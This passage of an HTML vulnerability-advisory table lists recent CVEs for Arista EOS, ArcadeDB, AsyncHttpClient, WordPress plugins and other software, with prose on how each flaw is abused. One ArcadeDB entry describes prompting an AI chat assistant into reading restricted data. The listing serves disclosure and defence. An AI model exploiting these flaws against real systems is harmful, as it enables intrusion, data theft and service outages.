&lt;td&gt;The Appointment Hour Booking WordPress plugin before 1.5.95 does not check every appointment in a booking submission against the capacity configured for its own slot, allowing unauthenticated visitors to take slots that are already fully booked.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86475&quot; target=&quot;_blank&quot;&gt;CVE-2026-86475&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;apptainer--apptainer&lt;/td&gt;
&lt;td&gt;Apptainer is an open source container platform. Prior to version 1.5.1, Image.AuthorizedPath applies plain string-prefix matching to the limit container paths directive in apptainer.conf, so an allowed path such as /data/safe also authorizes a sibling path such as /data/safe-but-unsafe. A local user can consequently run a container from a directory outside the administrator&#039;s intended allowlist when Apptainer operates in setuid mode. Installations that do not use setuid mode or do not configure limit container paths are not affected, and unrestricted user namespaces already allow users to run containers of their choice. This issue is fixed in version 1.5.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48785&quot; target=&quot;_blank&quot;&gt;CVE-2026-48785&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;arc53--DocsGPT&lt;/td&gt;
&lt;td&gt;DocsGPT through 0.20.0 posts OAuth connector session tokens to a wildcard target origin in the callback-status endpoint without validating sender origin. Attackers can obtain session tokens and provider account emails by acting as window.opener during OAuth authorization, then use tokens to disconnect victims&#039; cloud storage connectors.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91201&quot; target=&quot;_blank&quot;&gt;CVE-2026-91201&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ArcadeData--arcadedb&lt;/td&gt;
&lt;td&gt;ArcadeDB before 26.9.1 contains an access control bypass vulnerability in the query_database tool exposed through the AI chat endpoints. The tool executes queries without binding the authenticated principal to DatabaseContext, causing per-type and per-bucket ACL checks to silently no-op and allowing authenticated users to read data they are explicitly denied at the per-type level. Attackers can prompt the AI assistant to execute queries against restricted types or buckets to retrieve sensitive data that would be rejected through normal query endpoints.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93595&quot; target=&quot;_blank&quot;&gt;CVE-2026-93595&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ArcadeData--arcadedb&lt;/td&gt;
&lt;td&gt;ArcadeDB before 26.9.1 (com.arcadedb:arcadedb-engine &amp;lt;= 26.8.1) fails to bind the authenticated principal onto the DatabaseAsyncTransaction async worker threads used by the parallel edge-connect phase of POST /api/v1/batch/{database}. Because those workers have no current user, LocalDatabase.checkPermissionsOnFile returns early and allows the write, bypassing per-type CREATE_RECORD/UPDATE_RECORD ACL enforcement. In deployments that rely on per-type or per-group ACLs, an authenticated low-privilege user holding CREATE_RECORD on an edge type E but with CREATE_RECORD/UPDATE_RECORD revoked on a vertex type V can submit a graph edge-load batch request (with parallelFlush at its default value of true) and durably append edges to protected vertices of type V by writing records into V&#039;s &amp;lt;V&amp;gt;_out_edges/&amp;lt;V&amp;gt;_in_edges buckets, resulting in unauthorized modification of graph adjacency. Setting parallelFlush=false causes the request to be correctly rejected. This is an incomplete fix of GHSA-c23x-pqcj-7hfm, which bound the principal only on the HTTP handler thread.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93596&quot; target=&quot;_blank&quot;&gt;CVE-2026-93596&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;archerysec--archerysec&lt;/td&gt;
&lt;td&gt;ArcherySec through 2.0.6 fails to validate organization ownership in the WebScanVulnList endpoint, allowing authenticated users to read vulnerability findings from other organizations. Attackers can supply arbitrary scan identifiers to retrieve complete web vulnerability data including titles, severities, statuses, and analyst notes from other tenants.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92765&quot; target=&quot;_blank&quot;&gt;CVE-2026-92765&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with Dynamic Host Configuration Protocol (DHCP) relay/snooping configured with the information option (Option 82), or with the DHCP server configured with match criteria based on the information option, an unauthenticated attacker connected to a client-facing VLAN(s) where the relay is configured can send a specially crafted packet that causes the DHCP Relay service to restart.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19655&quot; target=&quot;_blank&quot;&gt;CVE-2026-19655&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with OSPFv2 and OSPFv2 segment routing configured, a specially crafted OSPFv2 packet from an adjacent OSPF neighbor may cause OSPF to restart unexpectedly.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73436&quot; target=&quot;_blank&quot;&gt;CVE-2026-73436&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with MLAG Dual Primary Detection configured, an unauthenticated attacker with access to the Dual Primary Detection network segment can send specially crafted packets to interfere with the dual-primary state. If the MLAG primary switch fails while these packets are present, the secondary switch incorrectly concludes it is in a dual-primary condition and err-disables its interfaces, leading to a traffic interruption.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73450&quot; target=&quot;_blank&quot;&gt;CVE-2026-73450&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with IS-IS graceful restart enabled, an unauthenticated attacker who can inject a malformed IS-IS LSP PDU packet can cause the IS-IS graceful restart procedure to terminate prematurely. This may result in traffic loss following a restart event.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73460&quot; target=&quot;_blank&quot;&gt;CVE-2026-73460&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with IGMP (Internet Group Management Protocol) snooping configured (enabled by default on all VLANs), a network-adjacent unauthenticated attacker can send malformed network packets on an affected VLAN to cause the IGMP snooping agent to terminate unexpectedly. This results in a temporary disruption of multicast traffic management, which may cause multicast traffic to be flooded to all ports of the affected VLAN until the service recovers. Repeated exploitation could result in a prolonged loss of intended multicast forwarding behavior.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73462&quot; target=&quot;_blank&quot;&gt;CVE-2026-73462&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS, under certain circumstances plaintext private keys may be written in clear text to log files during operations when specialized non-standard debugging trace levels are explicitly enabled. To exploit these vulnerabilities, a malicious actor must already possess authenticated local administrative access to the device shell, and specialized non-standard debugging trace levels must be explicitly enabled. This issue was discovered internally by Arista, and the company is not aware of any malicious exploitation of this vulnerability in customer networks.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73465&quot; target=&quot;_blank&quot;&gt;CVE-2026-73465&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS, under certain circumstances user passwordss may be written in clear text to log files during operations when specialized non-standard debugging trace levels are explicitly enabled. To exploit these vulnerabilities, a malicious actor must already possess authenticated local administrative access to the device shell, and specialized non-standard debugging trace levels must be explicitly enabled. This issue was discovered internally by Arista, and the company is not aware of any malicious exploitation of this vulnerability in customer networks.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73466&quot; target=&quot;_blank&quot;&gt;CVE-2026-73466&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS, under certain circumstances plaintext shared secrets for configured Terminal Access Controller Access-Control System Plus (TACACS+) servers&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73467&quot; target=&quot;_blank&quot;&gt;CVE-2026-73467&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;A specially crafted packet can cause the premature expiry of multicast forwarding state on affected interfaces, potentially resulting in temporary multicast traffic loss during the affected period.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73468&quot; target=&quot;_blank&quot;&gt;CVE-2026-73468&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS, an unauthenticated attacker who is network-adjacent to the switch and able to connect to a device with PIM Sparse Mode and MLAG configured, can send malformed messages that cause the Pimsm agent to terminate unexpectedly. The Pimsm agent is automatically restarted, but repeated attacks can cause the agent to restart continuously, resulting in a sustained denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77190&quot; target=&quot;_blank&quot;&gt;CVE-2026-77190&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with password authentication configured, a specially crafted password can create orphan authentication sessions. Repeated exploitation of this issue can exhaust available authentication resources, resulting in legitimate users being unable to log in to the device. This issue was discovered internally by Arista, and the company is not aware of any malicious exploitation of this vulnerability in customer networks.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19641&quot; target=&quot;_blank&quot;&gt;CVE-2026-19641&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with Open Shortest Path First version 3 (OSPFv3) configured, an unauthenticated attacker on the same OSPFv3 broadcast domain can send a specially crafted set of packets that can cause the Ospf3 agent to restart unexpectedly. The crash results in the loss of all OSPFv3 adjacencies on the affected device and may disrupt routing across the broader OSPF domain until the agent recovers. This issue was reported externally by Dravanet Inc., and Arista is not aware of any malicious exploitation of this vulnerability in customer networks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73438&quot; target=&quot;_blank&quot;&gt;CVE-2026-73438&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with both 802.1X port authentication and the RADIUS proxy feature configured with dynamic authorization, a low-privileged attacker on an adjacent network segment who induces a RADIUS packet through a configured RADIUS proxy client can prevent RADIUS dynamic authorization messages, including Change-of-Authorization (CoA) and Disconnect-Requests as defined in RFC 5176, from being applied to locally authenticated 802.1X sessions. This allows an endpoint session that a RADIUS server or network access control system has ordered disconnected to remain authorized on the network. Both 802.1X port authentication with dynamic authorization and RADIUS proxy with dynamic authorization must be explicitly configured for a deployment to be exposed to this issue. This issue was discovered internally by Arista, and the company is not aware of any malicious exploitation of this vulnerability in customer networks.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73449&quot; target=&quot;_blank&quot;&gt;CVE-2026-73449&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;Under certain circumstances on affected platforms running Arista EOS with gRPC Network Packet Sampling Interface (gNPSI) enabled, the gNPSI client credentials might be logged in clear text in local or remote accounting logs to authenticated users.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73457&quot; target=&quot;_blank&quot;&gt;CVE-2026-73457&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS, when multiple gRPC Network Security Interface (gNSI) transports are configured, a race condition in the gNSI Authz service may cause a policy rotation to fail silently. An authenticated user whose access was revoked by the new policy may retain unauthorized access to gRPC interfaces. This does not affect Bootz. This issue was discovered internally by Arista, and the company is not aware of any malicious exploitation of this vulnerability in customer networks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73463&quot; target=&quot;_blank&quot;&gt;CVE-2026-73463&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;When specific platforms are using Arista EOS with a loose Unicast Reverse Path Forwarding (uRPF) configuration, certain traffic may not be subjected to the intended verification drop. Consequently, traffic that should be dropped based on these routes could still be processed and forwarded by the device. This issue was discovered internally by Arista and the company is not aware of any malicious uses of this issue in customer networks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73469&quot; target=&quot;_blank&quot;&gt;CVE-2026-73469&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS, an authenticated user with access to the gNMI (gRPC Network Management Interface) may receive incorrect authorization results, potentially allowing access beyond their currently assigned permissions. This issue was discovered internally by Arista and the company is not aware of any malicious uses of this issue in customer networks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19640&quot; target=&quot;_blank&quot;&gt;CVE-2026-19640&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with Simple Network Management Protocol (SNMP) configured, SNMPv3 local or remote user credentials may be exposed as a one-way hashed, localized key value within the device&#039;s running and sanitized configurations. An authenticated user who gains access to this sensitive information could leverage it to perform unauthorized read operations on SNMP tables or to send fraudulent trap notifications to the Network Management System (NMS). This issue was discovered internally by Arista, and the company is not aware of any malicious exploitation of this vulnerability in customer networks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73440&quot; target=&quot;_blank&quot;&gt;CVE-2026-73440&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with VRRPv2 IP-AH authentication configured, an unauthenticated attacker within the same layer 2 network segment on which VRRP is running can capture a legitimate authenticated VRRP advertisement and replay it indefinitely. Replayed advertisements can be used to advertise stale VRRP state, for example to prevent a backup router from taking over the virtual gateway after the original master has gone down, resulting in a denial of service for hosts using the virtual gateway address.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73443&quot; target=&quot;_blank&quot;&gt;CVE-2026-73443&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with VRRPv2 IP Authentication Header (IP-AH) authentication configured, an unauthenticated attacker with access to the layer 2 network segment on which VRRP is running could bypass VRRP authentication and claim the virtual router master role, enabling the attacker to intercept, modify, or discard traffic that hosts on the segment send to the virtual gateway address.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73444&quot; target=&quot;_blank&quot;&gt;CVE-2026-73444&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS, an issue with the gRPC Network Security Interface (gNSI) Authz Rotate RPC may cause an incorrect Authz policy which was uploaded in the ongoing RPC stream to become active. This does not affect Bootz. This issue was discovered internally by Arista and the company is not aware of any malicious uses of this issue in customer networks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73445&quot; target=&quot;_blank&quot;&gt;CVE-2026-73445&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--EOS&lt;/td&gt;
&lt;td&gt;On affected platforms running Arista EOS with dual switch cards and with ingress Security ACLs configured on Switched Virtual Interfaces (SVI) in shared mode, restarting of the secondary switchcard forwarding agent or insertion of secondary switchcard, can cause security ACLs on shared SVIs to stop functioning. This may result in incorrect packet permit/deny behavior. This issue was discovered internally by Arista, and the company is not aware of any malicious exploitation of this vulnerability in customer networks.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73451&quot; target=&quot;_blank&quot;&gt;CVE-2026-73451&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--VeloCloud&lt;/td&gt;
&lt;td&gt;The VeloCloud Edge and Gateway exhibit an out-of-bounds write vulnerability when processing tunneled IP fragments between authenticated overlay neighbors. This vulnerability impacts the VeloCloud VCMP tunnel protocol only. A successful exploit can cause the affected process to terminate and restart, leading to a temporary disruption of traffic. Hosts on the internet that are unauthenticated and unable to form an overlay peer relationship can not trigger the vulnerable logic.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86107&quot; target=&quot;_blank&quot;&gt;CVE-2026-86107&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arista Networks--VeloCloud Edge&lt;/td&gt;
&lt;td&gt;The VeloCloud Edge software update workflow may accept update bundles without properly validating their signatures because the workflow does not restrict the digest algorithm used for artifact verification. An attacker with either sufficient privileges to upload packages to VeloCloud Orchestrator or credentials permitting direct access to an Edge may be able to install unauthorized software.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86109&quot; target=&quot;_blank&quot;&gt;CVE-2026-86109&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;arraytics--Eventin Event Calendar, Tickets, Registration, Booking &amp;amp; WooCommerce&lt;/td&gt;
&lt;td&gt;The Eventin - Event Calendar, Event Registration, Tickets &amp;amp; Booking (AI Powered) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;etn_shedule_objective&#039; schedule_slot Parameter in all versions up to, and including, 4.1.23 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15402&quot; target=&quot;_blank&quot;&gt;CVE-2026-15402&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Artifex--MuPDF&lt;/td&gt;
&lt;td&gt;A flaw has been found in Artifex MuPDF up to b6d17493700c621c0e70036980a6ebd06d2202c9. Affected by this vulnerability is the function pdf_open_filter of the file pdf-stream.c of the component PDF Xref Loading. Executing a manipulation can lead to null pointer dereference. The attack can be launched remotely. The exploit has been published and may be used. This patch is called 3df1e30f9d7b77260e13bd0dbe1928ddeba8386e. Applying a patch is advised to resolve this issue.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92413&quot; target=&quot;_blank&quot;&gt;CVE-2026-92413&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ASRock--ASRock Polychrome SYNC/RGB for MB&lt;/td&gt;
&lt;td&gt;ASRock Polychrome SYNC/RGB software utility developed by ASRock Inc. has an Untrusted Pointer Dereference vulnerability. Authenticated local attackers can send a specially crafted IOCTL request to cause the driver to dereference an unvalidated pointer, resulting in an operating system crash.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90890&quot; target=&quot;_blank&quot;&gt;CVE-2026-90890&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ASRock--ASRock Polychrome SYNC/RGB for MB&lt;/td&gt;
&lt;td&gt;ASRock Polychrome SYNC/RGB software utility developed by ASRock Inc. has an Improper Access Control vulnerability. Authenticated local attackers can send a specially crafted IOCTL request to cause the driver to write to improperly restricted I/O ports, resulting in a forced operating system reboot.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90891&quot; target=&quot;_blank&quot;&gt;CVE-2026-90891&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AsyncHttpClient--async-http-client&lt;/td&gt;
&lt;td&gt;The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.14.5 to 2.16.0 and from 3.0.9 to 3.0.11, a client configured with a client-wide Realm and redirect following can disclose credentials after a cross-origin redirect because the Interceptors authentication path falls back to the client configuration after redirect handling clears the per-exchange realm. If the attacker-controlled target returns 401, the client can send Basic or Digest credentials or a Negotiate or NTLM token to that origin. Per-request realms are stripped correctly, and this issue is a residual bypass of the earlier cross-origin credential-stripping fixes. This issue is fixed in versions 2.16.1 and 3.0.12.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85717&quot; target=&quot;_blank&quot;&gt;CVE-2026-85717&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AsyncHttpClient--async-http-client&lt;/td&gt;
&lt;td&gt;The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 3.0.8 until 3.0.12, a client with maxConnections or maxConnectionsPerHost set above zero leaks one connection permit whenever TLS connection establishment fails before the handshake completes. NettyConnectListener removes the partitionKeyLock permit from NettyResponseFuture before every failure path is bound to the channel closeFuture, so an abort can leave the permit unreleased. Repeated failures can permanently lock out one host under a per-host limit or drain the shared pool under a global limit, blocking later requests even when no connection remains open. The default unlimited connection setting is not affected. This issue is fixed in version 3.0.12.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85718&quot; target=&quot;_blank&quot;&gt;CVE-2026-85718&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AsyncHttpClient--async-http-client&lt;/td&gt;
&lt;td&gt;The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.0.0 until 2.16.1 and 3.0.12, a request using an HTTP proxy to reach an HTTPS origin can expose preemptive origin credentials because NettyRequestFactory and NettyRequestSender.sendRequestWithNewChannel attach Authorization to the plaintext CONNECT request before the TLS tunnel exists. Basic or Digest credentials and per-connection NTLM, Kerberos, or SPNEGO tokens intended for the origin are therefore visible to the proxy and to observers on the client-to-proxy hop. The tunneled request still receives origin Authorization after the tunnel is established, while Proxy-Authorization remains on CONNECT for its intended proxy recipient. This issue is fixed in versions 2.16.1 and 3.0.12.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85720&quot; target=&quot;_blank&quot;&gt;CVE-2026-85720&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;auth0--symfony&lt;/td&gt;
